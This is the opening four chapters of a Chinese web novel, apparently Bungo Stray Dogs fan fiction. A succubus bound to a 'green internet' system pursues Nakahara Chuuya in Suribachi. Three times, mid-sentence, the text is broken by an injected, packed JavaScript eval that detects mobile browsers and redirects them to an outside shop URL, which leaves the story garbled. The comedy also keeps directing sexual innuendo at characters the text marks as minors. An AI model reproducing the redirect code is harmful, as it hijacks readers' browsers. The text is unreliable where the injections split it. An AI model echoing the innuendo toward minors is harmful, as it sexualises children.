《身为魅魔却绑定了绿江系统》 1. 第一章(观前请看作话排雷) 擂钵街位于横滨境内的一个灰色地带。 流浪汉,无家可归者逐渐汇聚于此——他们没有过去,没有身份,没有未来。 这里也被政府所忽视,被称之为“无法之地”。 穿着深色夹克的少年双手插兜,一只脚踩在某具昏死过去的男人后背上,赭红色的碎发被兜帽遮住,只有几缕随着主人的动作落在脸侧。 少年微微抬起头,露出那张略带青涩俊俏的脸,只是眉头紧皱着,带着一丝冰冷的杀气。 钴蓝色的眸子从面前几个男人的身上扫过,仅仅是目光就已经震慑着面前的几个拿着棍棒、小刀的男人们。 虽然无论在体型还是武器上,赭发少年看上去都不具备任何优势,但却没有一个人敢冲上来。 ——他们刚刚已经见识过传闻中「羊之王」的力量。 中原中也眯起眼睛,抬起脚,径直将脚底下的人朝着面前几个家伙直接踢了过去。 这一脚可没有收力。骨头碎裂的声音实打实地传出,令人听了下意识打了个寒颤。 男人们也被飞来的人如同保龄球般撞到,发出凄惨的痛呼。 少年清亮的嗓音此时听上去显得低沉,带着危险的警告意味。 “滚。” “再踏入「羊」的地盘,我会彻底碾碎你们。” 男人们本能地咽了口唾沫,僵硬在原地半晌,这才找回对身体的支配权。 他们狼狈地架起地上的同伙,踉踉跄跄地从赭发少年的面前逃离。 中原中也冷眼看着几人的背影,忍不住啧舌。他伸手掀开脑袋上的兜帽,不耐烦地抓了抓头发。 “麻烦……白濑那群笨蛋又去招惹那群大人干什么……”赭发少年低声嘟囔道。 但他也只是嘟囔了几句。 中原中也已经习惯了帮同伴们收拾烂摊子,也不曾觉得这有什么不对的地方。 毕竟这是他拿了一张「好牌」应该尽的职责。 静静地原地站了一会儿,中原中也这才准备离开。 “咔。” 自身后响起的轻弱的声响,立即被五感敏锐的中原中也捕捉到。 赭发少年脚步一顿,钴蓝色的眸子再次变得锐利,如同刀锋般瞥向声音的源头,冷声道。 “——谁在那里?” 敌人?残党? 刚刚的家伙应该都被他收拾完了。 中原中也心中警觉,在脑内思考着。 赭色的发丝随着主人的异能力漂浮起,身上覆盖着一层淡淡的暗红色异能光。 正当中原中也警戒之时,只听见那堆杂乱的建筑废料后面,传来微弱的呻吟声。 “唔…啊……” 中原中也不禁皱起眉,抬脚走了过去。 断裂的木板、水泥块被操控着重力推到了一旁。异能的主人则双手插兜,姿态显得轻松随意。 然后,当中原中也看建筑废料后的人时,表情不由得微愣。 一个银发少年半死不活地趴在地上。 少年衣着单薄,穿着一套有些怪异的、黑色皮质紧身衣和短裤,露出大块白皙的腰肢;纤细的脖颈上带着一条红色项圈,充斥着一种说不出的色气。 ——是从什么地方跑出来的吗? 横滨不乏那种充满恶趣味的家伙,把漂亮的孩子当做宠物饲养。 中原中也下意识靠近了过去,却又在对方身旁停住,心中闪过一丝迟疑,用脚轻轻踢了踢对方的手臂。 “喂,你这家伙还清醒着吗……” 然而此时,本该昏过去的银发少年忽然伸手,死死地拽住了他的裤腿。 “?” 在擂钵街生存的本能令中原中也条件反射般绷紧肌肉,准备控制住对方。 而此时,银发少年抬起了脑袋。 【滴】 【目标角色出现】 像是落水者抓住了浮木般,在看到自己时,那双浅紫色眸子瞬间迸发出希望与渴求的光。 “喂、你……” 中原中也微愣,而下一秒自己的话就被对方打断。 “吾辈好饿……” 银发少年有一张漂亮的脸,然而眼神却溃散着。 他深呼吸一口气,缺乏血色的薄唇一张一合,艰难地从喉咙里挤出自己的声音。 “求、求你了,让吾辈吃一口就好……” “兄弟,你好香……” 银发少年的话尚未说完,就直接昏死了过去。 只剩下中原中也僵硬地站在原地,脑袋上满是问号,一时间还没反应过来。 周围此时安静得只剩下风吹过草叶时,略显萧瑟的沙沙声。 “……哈啊?” 中原中也的嘴角忍不住抽了抽,从齿缝里挤出自己的声音,在心中爆了句粗口暗骂道。 自己这是被什么流浪猫碰瓷了吗? …… 望月慢悠悠地睁开眼睛,盯着头顶陌生的天花板露出了死鱼眼。 毕竟他也是第一次来到人界,一直以来都生活于魔界的望月从未思考过这个问题。 ——那就是人界空气中的魔力浓度几乎为零,和魔界空气中的魔力浓度完全不是一个级别啊! 魔力对于恶魔们来说与生命力几乎无异。 此时,自己身体里的魔力仅勉强维持在岌岌可危的边缘线上。 望月做出了个失意体前屈的姿势,发出哀嚎。 “啊啊啊可恶啊!吾辈堂堂一介恶魔,居然有一天会沦落到饿昏过去的程度,实在是太丢脸了!” 系统见他这幅悲痛的模样,难得良心发作想出声安慰几句。 然而,还没等它出声,就看见某只无节操恶魔瞬间收拾好刚刚的哭丧脸,翻身准备下床,喜笑颜开地说道。 “真是没办法,事已至此那就先开饭吧!哼哼,总之先让吾辈找四五个人类雄性大做特……哇哇哇哇——” 还没等望月将这个想法付之于行动,从脖颈的项圈上传来的电流贯穿全身。 某只银发恶魔被电得直接跪趴在地上,屁股高高翘着,手指还时不时抽搐一下,看起来相当可怜。 直到电流那股麻劲过去,望月才拾回身体的主动权。 银发恶魔表情扭曲地开口道。 “混蛋……你在搞什么啊!” 【请合约者遵循绿色上网准则,禁止任何淫|秽色情的不良行为。】 脑内,系统的播报冷冰冰的,没有一丝起伏。 “……靠,你这家伙原来是来真的?” 望月难以置信地瞪圆了眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156784|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳孔地震中。 他维持着趴姿试图扯掉脖子上的项圈。 在来到人界之前,望月和这个该死的黑心系统签订了合约。 签订合约前,系统给自己画了好大一张饼。 说只要协助它进行直播,顺便完成一下任务,就能让自己成为高阶大恶魔; 而且合约时间只有一百年,就算没完成任务他们的合约关系也会解除。 一百年,对于几乎是永生的恶魔们来说不过是眨眼间的工夫。 任务成功了自己能成为大恶魔,失败了又没有惩罚,实在不行就当做消磨时间——怎么想都十分划算啊! 于是,他的脖子上就多了这么一条项圈。 然而此时,不论望月怎么扯弄,那条项圈像是焊死在自己的皮肤上一样,纹丝不动。 “原来这不是B/D/S/M的道具吗,吾辈还以为这是给吾辈的奖励……不对,重点不是这个!” 望月猛地抬起了脑袋,用手指着自己的脸,难以置信地瞪圆眼睛。 “有没有搞错,吾辈可是魅魔诶!” “「魅魔」是什么意思你知道吗,做|爱对我们来说就是进食。你难道要让吾辈不吃饭就这样饿死吗!” 然而系统的回答相当残忍。 【合约者若在任务过程中违反纯净绿色网络准则,则会遭受电击。】 ——被坑了。 几个硕大的字体从脑海中飘了过去。 银发恶魔的神情呆滞,怎么都想不到身为恶魔的自己,被一个不知从何而来的系统坑了。 “……你给吾辈等着。” 回忆起刚刚电击的滋味后,望月表情扭曲。银发恶魔磨了磨自己的后槽牙,愤愤地骂道。 “你小心别把吾辈电爽了。” 【……?】放狠话就这? 它这宿主脑子似乎不怎么好的样子。 系统无语。 望月又想起一件非常重要的事情。 “等一下。” “如果无法完成任务,那就只能等到合约结束,那吾辈岂不是要禁欲一百年?!” 这对于一只魅魔来说,简直是这世间最令魔绝望的事了。 “我记得晕过去前你说什么「目标」来着?所以吾辈的任务是什么,早点完成吾辈早点解除这该死的合约。” 【满足他们的「欲望」】 望月沉默,思考,然后恍然大悟。 ‘……你不让吾辈吃饭,又让吾辈满足对方的「欲望」?说吧,用手还是用嘴?’ 系统忍无可忍:用哪儿都不行,你非得搞黄色吗? 望月:…… 那不然呢?吾辈是魅魔啊! 原本自己来人界就是为了狩猎吃饭,结果被这该死的系统一坑,自己的快乐源泉没了。 还得给对方当牛马。 某恶魔的怨气几乎冲上天花板。 “……你这黑心系统给吾辈等着,吾辈绝对不会放过你的!” 就在望月磨牙切齿之时,房间的门传来“咔嚓”一声轻响。 中原中也推开门,目光从床上挪到地面。 看着床前翘着屁股趴在地上的银发少年,中原中也的眉毛紧皱在一起。 “……喂,你这家伙在干什么?” 2. 第二章 中原中也一脸的疑惑。 外面就听见里头的声音了,只是隔着一层门听不清楚,只听得到“饿死”“不吃饭”什么的。 他是见对方在外头饿晕过去,没办法才带对方回来的。 但听刚刚的声音倒是元气十足,也不知道对方什么时候醒过来。 自从中原中也进来后,系统就没有发出过任何声音,仿佛不存在似的。 一时间没了争吵对象的望月迷茫地抬起了头,在看到中原中也那张脸后,眼睛瞬间亮起,在心中摩拳擦掌。 ‘这不是刚刚捡到我的那个人类雄性吗!刚刚都没来得及看,居然还是个帅哥啊。’ ‘没想到运气这么好,总之吾辈先开动了——’ 在魅魔的本性和饥饿的双重驱使下,望月就差没对着面前的中原中也摇尾巴了。 【……】 就在望月蠢蠢欲动时,项圈上隐约传来电流感,银发恶魔的身体一个哆嗦,原本兴奋的神情也瞬间垮了下去。 ……差点忘了系统这一茬。 望月忍不住又磨了磨后槽牙,慢吞吞地爬起身。 银发少年干脆盘腿直接坐在了地上,用一种幽怨的目光盯着面前的中原中也,眼神好不悲愤。 中原中也被对方那充满惆怅的目光盯着,后背莫名一阵发毛。 ……奇怪的家伙。 中原中也默默给这位第一次见面的家伙建下了第一印象。 但中原中也懒得多说什么。 他并不想和对方有什么深入交往。 自己不过是看不下去,才把对方带回「羊」的基地。 毕竟如果就这样让对方晕倒昏迷在擂钵街街头,再加上少年这张漂亮的脸,说不准遇到什么糟糕的事情。 中原中也抬起手,把手中的面包随意又精准地丢到了望月的怀里,不耐烦地说道。 “喏。吃完了就赶紧离开这里。” “……这是什么?” 望月接住后,捏起包装袋一角晃了晃,有些好奇地歪着脑袋问道。 “……面包。”中原中也愣了一下,嘴巴张了张,停顿了一秒才回答了对方的问题。 他看过去的眼神有些微妙,“你连这个都不知道吗?” 中原中也忽然想起自己第一次遇到白濑他们的时候,好像也这么问过对方手中的东西是什么。 而望月并不知道面前赭发少年脑内的想法。 “啊哈,吾辈知道了。这是你们(人类)用来摄取能量的食物吧。” 听到中原中也的回答,望月恍然大悟,然后嫌弃地将那面包丢到了一旁。 “吾辈才不要吃这个。” 开什么玩笑,他一个魅魔才不会吃人类的食物——又没办法从里头汲取魔力。 “……” 望月的举动令中原中也嘴角抽了抽,额头上冒出了一个红色的十字路口。 他忍不住重重地啧舌一声,本就习惯性的臭脸,此时更是难看。 ……这家伙是哪来的小少爷吗? 中原中也在心中不爽地骂了一句。 要知道食物和药品在擂钵街都属于宝贵的资源。 看对方这傲慢又娇气的样子,估计是被诱拐到擂钵街才不久;能够活着跑出来,只能说这家伙是幸运。 在擂钵街,长得漂亮又没有自保能力的人,下场无非也就那几个。 中原中也眸色微沉,抿了抿唇。 然而,面前的银发少年似乎浑然不觉,抱着自己的腿前后晃了晃,眼神看上去可怜巴巴的。 “吾辈好饿……” 不过中原中也可不吃这一套。 他微微眯起眼睛,臭着张脸,语气自然好不到哪里去。 “啧,只有这个,不吃就拉倒。” “要不是看你这家伙饿晕在路边容易遇到危险,我可不会带你回来——喂,你要是不吃我带你出去了。” “擂钵街可不是你这样的家伙能呆的地方。” 中原中也的声音顿了顿,不耐烦地说道。 “离开这里后去找警察,总会帮你找到家里人的吧……喂,你这家伙有在听我说话吗?” 面前的银发少年显然一副没在听自己说话的表情,中原中也感觉自己额头上的青筋似乎又跳了跳。 中原中也可从来算不上什么好脾气。 正当他准备上手拽起面前这个娇贵的小少爷的领子时,对方反而先一步从地上跳起身,步伐轻快地凑到了自己的面前。 “呐,你叫什么名字?” “…中原中也。” 正准备发火的中原中也反而被对方的贴近搞得措不及防,思绪也断了一拍。 “吾辈的名字叫……”银发少年思考了一下,一捶掌心,“唔,用你们人类的语言,应该叫做‘望月’吧。” “不过名字什么的,也不是什么重要的事。看在你是吾辈遇到的第一个人类雄性的份上,稍微给你一点福利吧~” 银发少年的脸很漂亮,精致得恰到好处,绝对是符合绝大部分人审美的那种类型,但却又不会漂亮得过分。 毕竟过于美丽的东西,反而会令人生怯,敬而远之。 他可是魅魔,当然是要去尽量满足绝大部分人的爱好,这样狩猎时才会来得更有效率。 “吾辈不想吃什么面包。” 那张漂亮的脸上紫眸亮晶晶的,自信地轻笑时,露出尖锐的小虎牙。 “比起那个,吾辈更想吃一点更加美味的东西。” 面前的银发少年像猫一样狡黠地弯起眼睛,隐约间,似乎能看到那双紫眸中的幽光。 中原中也这才回过神来,皱起眉。 “……哈?你这家伙从刚刚开始在那里自说自话些什么,还有,人类雄性是什么奇怪的称呼……” 话音刚落,中原中也忽然嗅到一股不知从哪儿冒出的甜蜜的香气。 那股香气萦绕在鼻尖,让人思绪恍惚。 异能者的五感本就比普通人更敏锐些。 不知是不是受到那阵甜味的影响,中原中也不由得微微晃神,僵硬在原地。 一股莫名的躁动感在胸口起伏着,令人烦躁不已。 见面前的赭发少年脸上露出错愕和迷茫之际,望月在心中洋洋得意。 若不是恶魔尾巴被隐藏起来,估计此时应该正高高翘起着,彰示着主人愉快的心情。 果然只是区区一个人类雄性啊。 望月朝着面前的中原中也伸出手,指腹在对方的胸口轻抚,却被对方果断攥住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156785|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了手腕。 稍微有点痛,不过也没关系。 望月眨了眨眼睛,紫眸亮晶晶的,如同宝石般闪烁着光芒。 他笑嘻嘻地说道。 “呼呼~果然你也很想要吾辈的吧。” “没关系,这是奖励,粗暴点也可以哦~不论对吾辈做什么都没问……?!” “咚。” 然而望月的话还没说完,下一秒,一声沉重的闷响后,他被面前的赭发少年一把反剪住手臂关节,粗暴地摁在了地上。 这一切动作太快,望月甚至都还没反应过来,脸就已经和地面来了个亲密接触。 望月:……? ……等下,什么情况? 中原中也一脚踩住望月的手腕,单手将他的脑袋摁在地上,身上笼罩着一层暗红色的异能光,衣服下摆随着重力微微飘起。 脚下微微一用力,几乎能听到被压制者骨骼在重力碾压到极限时,发出的令人牙酸的“咔咔”声。 中原中也眯起钴蓝色的眸子,毫不留情地俯视着被自己踩在底下的家伙,声音冰冷,一连串的质问也随之而来。 “刚刚那是怎么回事?你做了什么?” 赭发少年一副说不说实话都要弄死自己的样子,表情冷得快要凝冰。 某魅魔:?? 某魅魔:我只是准备吃饭啊! ……居然被食物揍了? 谁能想象盘子里的食物突然蹦起来给自己一拳的画面。 初来人间还没尝到一口精O的味道,就先体会了一番滑铁卢滋味的银发魅魔,脑袋上的问号比天上的星星还多。 这家伙明明长了张不错的脸,但是完全不解风情啊!这个时候不应该摁着自己大做特做吗? 说好的这个年纪的青少年是x欲最旺盛的时候呢? 满头问号的望月瞳孔地震中。 不过还没等他从冲击中回过神来,手腕和脊椎传递而来的疼痛,令望月忍不住哇哇大叫。 “好痛,要死了要死了要死了。” “不要再用力了,那里不行…吾辈受不了了,真的快死掉了呜呜——” 望月一边扑腾着双腿试图挣脱,却无济于事,依旧牢牢被中原中也摁在地上。 他吸了吸鼻子,泪眼汪汪地抗议道。 “——可恶,这种台词吾辈更想要在床上而不是这种情况下说啊!” 【……?】 原本沉默着的系统缓缓打出一个问号。 它刚刚原本准备警告一下这家伙的,只是见中原中也出手所以才没动作。 结果怎么看上去被奖励的好像是这家伙。 系统实在忍不住,插嘴问道。 【怎么,他踩你还把你爽到了?】 ‘……稍微有点。’某只诡异地沉默了一下。 【……】 看到某只面带潮红,眼睛里就差没飘爱心的银发魅魔,系统这回是真无语了。 良久,系统才缓缓吐槽道。 【你这抖M碧池魅魔。】 ‘呼呼,多谢夸奖~这对魅魔来说是褒誉哦?’ 【……】 系统沉默。 它真服了这抖M恶魔。 让中原中也踩死这家伙得了。 3. 第三章 实际上被某只无节操暴言差点给噎住的人不止是系统,还有踩在望月身上的中原中也。 后者在大脑暂停一瞬后,终于反应过来,被某只充满糟糕意味的台词搞得面红耳赤。 虽然在擂钵街长大,也不是没见过那种事情,但本质上依旧是纯情少男的中原中也一时间头冒热气,嗓音也都拔高了两度。 “你这家伙别叫得那么奇怪!”搞得自己好像在做什么糟糕的事情一样。 “好痛好痛!吾辈知道了、知道了啦,害羞就害羞,你稍微控制点力气啊!” 望月在中原中也武力的威胁下瞬间认了怂,用微弱的声音委屈地抗议道。 “明明是吾辈还什么都没做呢,就把吾辈摁在地上——” 对方的表情看上去实在太过可怜委屈,害得中原中也都下意识反省起,是不是自己刚刚的反应过大了。 经过刚刚的试探,中原中也可以确认对方并非战斗人员。 不论是手臂还是腿部都是软绵绵的,随时都能被轻易地折断,皮肤很白,很光滑;身上似乎没有任何茧子和伤疤,和擂钵街的居民们又格格不入。 ——但怎么看都像是个普通人。 好不容易压下脸上的燥热,梳理好思绪,中原中也深呼吸一口气,靴下的力气稍稍松了些,留给对方喘息的余地。 不过中原中也的语气依旧不善,声音低沉,问道。 “那你刚刚在做什么?” “……” 望月沉默。 不知为何,他感觉到了一种莫名的屈辱感; 尤其是身为魅魔,试图引诱人类却被对方如此摁在地上,还被问刚刚在干什么。 ……简直更屈辱了! 谁能想到会被自己的食物摁在地上! 然而,银发少年的沉默却让中原中也误解,原本松下来的力气再次加重,冷声问道。 “如果不回答的话,我会直接踩断你的骨头。” “……真的回答实话,才更会踩断吾辈的骨头吧……” 望月委屈,又不敢大声说出口,只敢用自己才能听见的声音小声嘀咕。 而在中原中也听来,对方埋着脑袋叽叽咕咕着不知在说什么,本就紧皱的眉头皱得更深。 感受到中原中也踩在自己手腕上的力度似乎越来越重,望月没工夫嘟囔了,疼得眼泪直接飙了出来。 望月哇哇叫唤,向系统抗议:‘吾辈手腕都要被他踩断了,这家伙一点风情都不讲吗!’ 【你连个人类都搞不定吗?】 ‘吾辈是魅魔,魅魔!你见过让魅魔去打架的吗,撑死了就是在床上把敌人吸到精尽人亡!’ 【……好了你给我闭嘴吧。】再讲下去它的直播间就要守护不住了。 系统差点被望月的暴言噎得直接死机。 中原中也注意到银发少年的走神后,危险地眯起眼睛。 “喂,你这家伙居然在这种时候还能走神?” “都说了吾辈什么都没干,是你的反应过激了好吗——痛痛痛请饶过我吧!” 望月原本还不满地抗议着,到后头瞬间认了怂,果断求饶道。 银发少年的话让中原中也停下了动作。 对方似乎的确没有做什么举动,只是单纯的抚摸……不对,那也很奇怪吧。 思考间,眉头越皱越深。 中原中也斟酌思索了片刻,这才挪开了自己的脚,仍不忘出声警告。 “不要再做刚刚那种事情。” “呜、我、我知道了……” 可恶,不过区区一只人类雄性! 虽然心里骂得凶,嘴上却乖巧又老实地应声道。 望月坐在地上缩成一团,低头吹着自己被踩红的手腕,表情看上去相当的委屈。 银发少年的皮肤本就白皙,使得脸上以及手腕上的红痕格外明显。 中原中也心里感到过意不去。 他别过脑袋,抓了抓自己的头发,低声说道。 “……抱歉,刚刚好像用的力气太重了。话说你也太弱了吧。”「羊」里比他小的孩子看起来都比他能打。 因为挪开了视线,所以中原中也并没有看到某只银发恶魔一瞬间变得狰狞扭曲的表情。 不过,当中原中也转回视线,望月又立即变回了那副可怜巴巴又无辜的眼神。 望月愤愤地磨了磨自己的后槽牙,在心中咬牙启齿地骂道。 ‘这家伙居然看不起吾辈,总有一天吾辈要把这该死的人类雄性榨成人干!’ 【……你敢这么干就死定了。】系统冷冷地说道,【对未成年出手我会往死里电你的。】 ‘反正只要摄入体|液就行了。’望月不服气地抗议,‘就算不能做那种事吾辈也能把对方……不会做的不会做的,吾辈乱说的!’ 感受到脖颈项圈上隐约传来的电流感,望月连忙求饶,直到电流感散去他才松了口气。 ……该死的系统。 望月的心路历程中原中也并不了解。 “没别的事情的话,等会儿我就送你离开擂钵街……喂!你这家伙又要干什么!” 中原中也的话刚说到一半,只见那个自称叫“望月”的银发少年忽然冲了过来,在自己的面前正跪,十字交错着手指,仰头用一种过分闪亮的祈求目光盯着自己。 绕使是中原中也后脑勺上也忍不住滴下一滴无语的汗珠。 望月对于自己的举动毫无廉耻心。 他怎么可能就这么轻易地放过任务目标!自己还指望着赶紧完成任务解开着该死的禁欲令,成为大恶魔。 于是,银发少年眨巴着眼睛,可怜巴巴地说道。 “请收留吾辈吧人类雄……呃,中也!” “哈?” “实际上吾辈是被诱拐来这个地方的,对这里人不生地不熟,无依无靠无亲无故。吾辈已经无处可去了!” “从小吾辈就被父母抛弃,被同族们排挤、欺负,没有朋友没有住处,只能睡大街捡垃圾,连一口饭都吃不上……” 关于编造故事,对于恶魔们来说可谓是章口就来。 望月滔滔不绝地说着,甚至还应景地抬手擦了擦眼角的泪花,没几句话的工夫给自己塑造一个可怜弱小的孤儿形象。 “如果您不收留吾辈的话,吾辈只能继续在这里到处流浪,然后被坏人再次诱拐,再被这样那样嘿嘿……咳,吾辈的意思是,像吾辈这么弱小的存在,一定会遭到危险的!” 说着说着,望月感受到后颈处隐约的电流感,头皮一阵发麻,瞬间一个激灵,赶紧拐回正题。 望月仰起头,调整出最完美的角度,露出令人动容的、无法拒绝的可怜眼神。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156786|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“所以,请收留吾辈吧中也大人!” 银发少年长得确实很漂亮,精致得恰到好处,是属于绝大部分人见到都会心生喜爱的类型。 然而正如对方所说的那样。这张漂亮的脸如果没有自保实力的话,反而会为主人带来危险。 尤其是在擂钵街这样混乱的地方。 「羊」最开始也就是因为擂钵街这群无依无靠的孩子们报团取暖而组建起来,抵抗来自大人们的危险,后来才逐步发展成为未成年自卫组织。 中原中也有些心软。 原本紧皱起的眉毛刚刚松缓下来,下一秒被对方的话搞得炸了毛。 “吾辈当然不会白吃饭。只要您愿意收留吾辈,吾辈什么都会做的,不论是为中也暖床还是……” “谁需要你暖床啊!!” 中原中也用一种几乎是恼羞成怒的声音地打断了望月的话;后者见状,老实巴交地闭上了嘴,露出无辜脸。 赭发少年深呼吸一口气,单手扶住了自己的额头,揉了揉太阳穴,没好气地说道。 “我知道了……喂,你、你先站起来!” “如果实在无处可去的话,我可以暂时收留你,但不可以乱出去;至于加入组织的事我还要和同伴们商量一下……” 不过暂时还是别让这家伙和白濑他们接触,毕竟底细尚未清楚。 诶,居然真的同意了? 虽然刚刚行为举止很粗暴,但意外的是个好人啊……不不不,应该说是人类雄性就是好骗啊。 望月在心里露出一个计划通的表情包。 银发少年顿时喜笑颜开,周围散发着闪亮亮的小星星,要不是恶魔尾巴被隐藏起来,此时应该正得意忘形地高高翘起。 “对了。” “从刚刚就想说了,你的衣服……” 中原中也扫视了一眼面前银发少年的衣服,半截只盖住胸口,完全露出腰肢和大腿的紧身皮衣。 银发少年似乎对此一点羞耻心都没有,反而自信地挺起了胸口,眼睛亮晶晶地望着自己,像是期待着自己说什么。 赭发少年诡异地沉默了一下,迟疑地说道。 “只有这些的话,你不冷吗?” “……” 原本自信满满的银发少年表情呆滞,一串省略号从头顶上升起。 回过神来,望月忍不住表情扭曲地对系统骂道。 ‘这个叫做中原中也的人类到底怎么回事啊!吾辈可是魅魔啊,这么经典工口的造型,他居然第一反应是冷不冷!’ 【人家又不知道你是魅魔。看看,多关心你啊。】系统敷衍道。 望月立即垮起个小猫批脸,更加郁闷。 同时也坚定了完成任务的决心。 ——毕竟有这该死的系统在身上,自己一口饭都吃不上,连魔力都没地方补充。 银发少年的目光忍不住再次投向一旁的中原中也,后者从箱子里翻出来一套薄外套,丢向了自己。 望月接住了衣服,低头看了一眼——遮得好严实的衣服,看起来真暖和呢(棒读)。 他抬起头,依旧不甘心地追问道。 “真的不需要吾辈暖床吗?” “——都说了不需要了。” 中原中也咬牙切齿地从牙缝间挤出自己的声音。 这个家伙究竟怎么回事! 4. 第四章 显然关于暖床这一话题,如果再说下去面前这个赭发人类大概真的就要爆发了,望月只好闭上嘴。 望月盯着手里的衣服,脸上的不情愿更甚。 他讨厌这种毫无情调的衣服,本来把翅膀和尾巴什么的藏起来,就已经很不舒服了。 毕竟魅魔们向来都是追求愉悦和快乐的种族。 不过如果是什么水手服、兔女郎装的话,他倒是很乐意啦。 “呐、中也,吾辈必须要穿……” 望月一边说着一边抬起头,却发现中原中也已经从房间里出去,顿时更加不爽,鼓起包子脸骂了一句。 “可恶的人类雄性。” …… “奇怪的家伙……” 中原中也嘟囔着,刚出去没一会儿,便正好遇上从外面回来的白濑。 后者没想到迎面撞上了中原中也,表情一僵,心虚地挪开视线——他大概以为中也是因为之前他们惹得麻烦来兴师问罪的。 不过见对方似乎不是为了之前的事而来,白濑偷偷松了口气;但当中也提到自己带回来一个人还想要让对方加入「羊」时,白濑立刻皱起了眉,提出反对意见。 “现在可是抗争最激烈的时候,这个时间点让陌生的家伙加入「羊」,如果是敌人、间谍什么的怎么办?” “如果不想让「羊」遭遇到危险,首先别主动去招惹那些组织和大人们。” 中原中也双手插兜,皱着眉,毫不客气地说道,“白濑,我之前就和你说过了,至少别去那群黑手党的地盘上惹事。 ” 白濑顿时没了刚刚的气势汹汹。 他抓了抓自己的头发,不服气地说道。 “又没破坏防卫主义这样规则。别光教训我,省吾、菊池他们也都去了,而且明天可是柚杏的生日,所以才去黑手党那边拿点酒回来。” “实在不行,把对方交给警察不就好了,那群没用的家伙总该做点正事吧……” 不及白濑说完,一个银发少年忽然从中原中也的身后探出半个身子。 “是在讨论吾辈的事吗?” “什、” 白濑被突然冒出的望月给吓了一跳,下意识地往后退了一步。 而对方似乎并没有注意到这一点,眼睛亮晶晶的,继续凑了上来。 “诶~你是人类雄、中也的同伴吗?” 白濑还没在擂钵街见过像望月这样的人。 和中也充满攻击性的帅气不同,银发少年的脸更中性,又恰好处于某个微妙的平衡点上,不会令人误会他的性别。 不知道怎么的,自己的脸颊好像有些发烫。 望月表情好奇,像是小猫一样靠近嗅了嗅。 然而在嗅到对方的气味后,他很快又失望下来,最开始的兴奋顿时消失了一半。 这个人类雄性闻起来似乎并没有中也那样好吃,普普通通的级别。 他还以为中也的同伴都会像中原中也一样呢。 不过美食毕竟不可多得,而自己也不挑食就是了。 魅魔的本能让望月忍不住舔了舔舌头,然而下一秒,就被人伸手拽住了衣领。 “喂,你这家伙又搞什么,不是让你不要到处乱跑吗?”而且闻来闻去的,猫吗? 中原中也单手拎着望月的衣领,直接给抓了回来。 对于对方刚刚像是动物一样的嗅闻举动,中原中也感到无语。 “……”嘁。 这该死的赭发人类,真是一点眼力见都没有。 望月被对方像只猫似的拎在手里,在心中狠狠地啧舌。 “咳、咳,你是中也说的那个人?” 白濑回过神来,赶忙咳嗽几声,结结巴巴地说道。 “是哦。拜托请让吾辈加入吧,那个……呃、”这个人类叫什么来着? 望月停顿了一下,马上露出可怜的表情,脸蛋的周围仿佛冒出了闪亮的十字星星。 “总之你会答应的对吧?” “也、也不是完全不可以。” “不过,毕竟最近太混乱的,就算是你,想要加入「羊」的话也要经历考察期的观察才行……” 白濑似乎忘了几分钟前自己对中也说了什么,晕头转向地就松了口。 只是稍微用了一下魔力就成功了。 对于意志不坚定的人类还是很有效果的嘛。 望月在心中愉快地哼了一声。 之前在中也身上的滑铁卢,差点让他怀疑起魅魔的能力是不是失效了。 “啊,不过基地里房间不够了,”白濑抬手摸了摸鼻子,“现在只能和别人一起住,那个,我倒是不介意……” “这家伙跟我一起。我来监督这家伙。”中原中也看了眼脸颊通红的白濑,疑惑地问道,“白濑,你的脸怎么这么红?” “呃,没什么……” 等到白濑离开,中原中也转过头,用一种复杂的目光看向身旁的望月。 他没想到对方几句话,白濑就松了口。 望月注意到自己的目光后也转过头来,朝着自己露出乖巧的笑容。 然后,中原中也现在才发现望月身上的衣服原来穿成了什么样。 银发少年披着自己的外套,里头黑白拼色衬衫只堪堪系上了中间两个纽扣,露出精致的锁骨和腰肢;而下身还是之前那条皮质短裤,又被垂下来的衬衫下摆挡住大半,露出纤细修长的双腿。 银发少年浑身上下散发着一种微妙的色气感。 中原中也耳朵蹭地一下变得通红,表情也有些不自在,蓝眸下意识挪开。 这个反应魅魔们再喜欢不过了。 望月笑嘻嘻地凑上去。 “中也怎么也脸红了?反正是中也把吾辈捡回来的,所以,中也可以对吾辈为所欲为哦~毕竟吾辈很喜欢中也呢。” “你、你这家伙说什么呢!”赭发少年炸毛。 “是实话——” 望月拖长了声音,在心里恶劣地吐着舌头。 毕竟这个赭发人类闻起来就超级香。没有一个恶魔会不喜欢好吃的食物。 于是,中原中也斟酌了一下,还是朝着面前的银发少年伸出了自己的手。 在某只魅魔期待的目光中,赭发少年表情别扭……地伸手扣上了他衬衫的纽扣。 望月:.....…? “你这家伙连纽扣都系不好吗?”中原中也没好气地说道。 